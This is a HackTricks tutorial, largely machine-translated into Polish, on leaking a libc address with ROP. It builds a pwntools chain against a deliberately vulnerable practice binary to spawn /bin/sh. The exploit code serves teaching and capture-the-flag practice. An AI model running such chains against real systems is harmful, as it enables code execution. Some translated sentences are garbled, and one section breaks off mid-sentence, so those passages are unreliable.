Leaking libc address with ROP

Support HackTricks

Quick Resume

  1. Find overflow offset

  2. Find POP_RDI gadget, PUTS_PLT and MAIN gadgets

  3. Użyj poprzednich gadgetów, aby wyciekować adres pamięci funkcji puts lub innej funkcji libc i znaleźć wersję libc (pobierz ją)

  4. Z biblioteką, oblicz ROP i wykorzystaj to

Other tutorials and binaries to practice

Ten samouczek będzie wykorzystywał kod/binary zaproponowany w tym samouczku: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Inne przydatne samouczki: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Code

Filename: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Leaking LIBC template

Pobierz exploit i umieść go w tym samym katalogu co podatny binarny plik, a następnie przekaż potrzebne dane do skryptu:

Leaking libc - template

1- Znalezienie offsetu

Szablon potrzebuje offsetu przed kontynuowaniem exploitacji. Jeśli jakikolwiek zostanie podany, wykona niezbędny kod, aby go znaleźć (domyślnie OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Wykonaj python template.py, a konsola GDB zostanie otwarta z programem, który uległ awarii. Wewnątrz tej konsoli GDB wykonaj x/wx $rsp, aby uzyskać bajty, które miały nadpisać RIP. Na koniec uzyskaj offset używając konsoli python:

from pwn import *
cyclic_find(0x6161616b)

Po znalezieniu offsetu (w tym przypadku 40) zmień zmienną OFFSET w szablonie, używając tej wartości. OFFSET = "A" * 40

Innym sposobem byłoby użycie: pattern create 1000 -- wykonaj do ret -- pattern seach $rsp z GEF.

2- Znajdowanie Gadżetów

Teraz musimy znaleźć gadżety ROP w binarnym pliku. Te gadżety ROP będą przydatne do wywołania puts, aby znaleźć używaną libc, a później do uruchomienia ostatecznego exploit.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT jest potrzebny do wywołania funkcji puts. MAIN_PLT jest potrzebny do ponownego wywołania funkcji main po jednej interakcji, aby wykorzystać przepełnienie ponownie (nieskończone rundy eksploatacji). Jest używany na końcu każdego ROP, aby ponownie wywołać program. POP_RDI jest potrzebny do przekazania parametru do wywoływanej funkcji.

W tym kroku nie musisz nic wykonywać, ponieważ wszystko zostanie znalezione przez pwntools podczas wykonania.

3- Znalezienie biblioteki libc

Teraz czas, aby znaleźć, która wersja biblioteki libc jest używana. Aby to zrobić, zamierzamy wyciek adresu w pamięci funkcji puts, a następnie zamierzamy przeszukać, w której wersji biblioteki znajduje się wersja puts w tym adresie.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Aby to zrobić, najważniejsza linia wykonanego kodu to:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

To wyśle kilka bajtów, aż nadpisanie RIP będzie możliwe: OFFSET. Następnie ustawi adres gadżetu POP_RDI, aby następny adres (FUNC_GOT) został zapisany w rejestrze RDI. Dzieje się tak, ponieważ chcemy wywołać puts, przekazując mu adres PUTS_GOT, ponieważ adres w pamięci funkcji puts jest zapisany w adresie wskazywanym przez PUTS_GOT. Po tym zostanie wywołany PUTS_PLT (z PUTS_GOT wewnątrz RDI), aby puts odczytał zawartość wewnątrz PUTS_GOT (adres funkcji puts w pamięci) i wydrukował go. Na koniec funkcja main jest wywoływana ponownie, abyśmy mogli ponownie wykorzystać przepełnienie.

W ten sposób oszukaliśmy funkcję puts, aby wydrukowała adres w pamięci funkcji puts (która znajduje się w bibliotece libc). Teraz, gdy mamy ten adres, możemy sprawdzić, która wersja libc jest używana.

Ponieważ eksploatujemy lokalny binarny plik, nie ma potrzeby ustalania, która wersja libc jest używana (po prostu znajdź bibliotekę w /lib/x86_64-linux-gnu/libc.so.6). Jednak w przypadku zdalnego eksploatującego wyjaśnię tutaj, jak można to znaleźć:

3.1- Szukanie wersji libc (1)

Możesz sprawdzić, która biblioteka jest używana na stronie: https://libc.blukat.me/ Pozwoli to również pobrać odkrytą wersję libc

3.2- Szukanie wersji libc (2)

Możesz również zrobić:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

To zajmie trochę czasu, bądź cierpliwy. Aby to zadziałało, potrzebujemy:

  • Nazwa symbolu libc: puts

  • Wyciekniony adres libc: 0x7ff629878690

Możemy ustalić, która libc jest najprawdopodobniej używana.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Otrzymujemy 2 dopasowania (powinieneś spróbować drugiego, jeśli pierwsze nie działa). Pobierz pierwsze:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Skopiuj libc z libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so do naszego katalogu roboczego.

3.3- Inne funkcje do wycieku

puts
printf
__libc_start_main
read
gets

4- Znalezienie adresu libc opartego na lokalizacji i wykorzystanie

Na tym etapie powinniśmy znać używaną bibliotekę libc. Ponieważ wykorzystujemy lokalny binarny plik, użyję tylko: /lib/x86_64-linux-gnu/libc.so.6

Na początku template.py zmień zmienną libc na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę do biblioteki, gdy ją znamy

Podając ścieżkę do biblioteki libc, reszta eksploitu zostanie automatycznie obliczona.

Wewnątrz funkcji get_addr zostanie obliczony adres bazowy libc:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Zauważ, że ostateczny adres bazy libc musi kończyć się na 00. Jeśli tak nie jest, mogłeś wyciekować niepoprawną bibliotekę.

Następnie adres do funkcji system oraz adres do ciągu "/bin/sh" będą obliczane na podstawie adresu bazy libc i podanej biblioteki libc.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Na koniec przygotowywany jest exploit do wykonania /bin/sh:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Let's explain this final ROP. Ostatni ROP (rop1) zakończył się ponownym wywołaniem funkcji main, więc możemy ponownie wykorzystać przepełnienie (dlatego OFFSET jest tutaj znowu). Następnie chcemy wywołać POP_RDI, wskazując na adres "/bin/sh" (BINSH) i wywołać funkcję system (SYSTEM), ponieważ adres "/bin/sh" zostanie przekazany jako parametr. Na koniec adres funkcji exit jest wywoływany, aby proces ładnie zakończył działanie i nie został wygenerowany żaden alert.

W ten sposób exploit uruchomi powłokę _/bin/sh_**.**

4(2)- Using ONE_GADGET

Możesz również użyć ONE_GADGET , aby uzyskać powłokę zamiast używać system i "/bin/sh". ONE_GADGET znajdzie w bibliotece libc sposób na uzyskanie powłoki, używając tylko jednego adresu ROP. Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to [rsp+0x30] == NULL. Ponieważ kontrolujesz wartości wewnątrz RSP, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

Możesz znaleźć szablon do wykorzystania tej podatności tutaj:

Leaking libc - template

Common problems

MAIN_PLT = elf.symbols['main'] not found

Jeśli symbol "main" nie istnieje. Wtedy możesz znaleźć, gdzie znajduje się główny kod:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

i ustaw adres ręcznie:

MAIN_PLT = 0x401080

Puts nie znaleziono

Jeśli binarny plik nie używa Puts, powinieneś sprawdzić, czy używa

sh: 1: %s%s%s%s%s%s%s%s: nie znaleziono

Jeśli znajdziesz ten błąd po stworzeniu wszystkich exploitów: sh: 1: %s%s%s%s%s%s%s%s: nie znaleziono

Spróbuj odjąć 64 bajty od adresu "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Wsparcie dla HackTricks

Last updated